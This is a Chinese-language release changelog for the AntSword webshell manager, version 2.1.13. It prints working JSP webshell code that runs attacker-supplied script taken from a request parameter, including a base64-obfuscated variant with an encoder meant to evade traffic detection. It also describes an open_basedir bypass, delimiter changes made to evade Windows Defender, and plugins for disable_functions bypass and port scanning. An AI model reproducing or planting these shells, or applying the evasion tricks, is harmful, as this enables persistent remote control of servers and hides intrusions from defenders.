AntSword v2.1.13
核心
- ❗️❗️❗️新增 JSPJS Shell 类型 (Author: @yzddmr6)
基于 js 引擎的 jsp 一句话类型, jdk >= 6
相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少
设计思路请参考: https://xz.aliyun.com/t/9715
值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了
❗️请耐心看完下面的 Note❗️
目前该类型默认生成的 WebShell 如下:
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("ant"));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
在流量层上和 PHP 最基础的WebShell <?php eval($_POST['ant']);?>
一样具有明显特征,不建议使用, 请配合自定义编码器进行:
eg: b64pass 编码器
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
对应 WebShell 如下:
<%!
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(new String(base64Decode(request.getParameter("ant"))));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
请自行对照最基础的 WebShell 样例自由发挥 :)
- ❗️PHP/PHP4 类型增加 Bypass open_basedir, 自动尝试
利用的是
chdir('..');
方式, 仅在目标配置了open_basedir
后才会自动尝试
该功能会影响之前版本 PHP Bypass DisableFunc 插件, 请及时更新插件
虚拟终端
- 虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)
- ❗️终端执行命令路径分割符由固定的
[S][E]
改为随机字符串
别问, 要问就去问 Windows Defender
数据管理
- 开启代理情况下在数据管理状态栏会有提示
后端模块
- 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常
eg:
'use strict';
module.exports = (pwd, data) => {
data['test'] = 123; // 这里会引发异常
data[pwd] = data['_'];
delete data['_'];
return data;
}
插件相关
- ExecuteScript 支持 JSPJS 类型
- GenShell 支持 JSPJS 类型 Shell 生成
- Bypass disable_function
- 修正 bypass open_basedir 场景下上传路径问题
.antproxy.php
上传至与 Webshell 同路径下- php -S 利用方式会在界面显示开启的临时端口
- PortScan 支持 JSPJS 类型
- Out-of-Network 支持 JSPJS 类型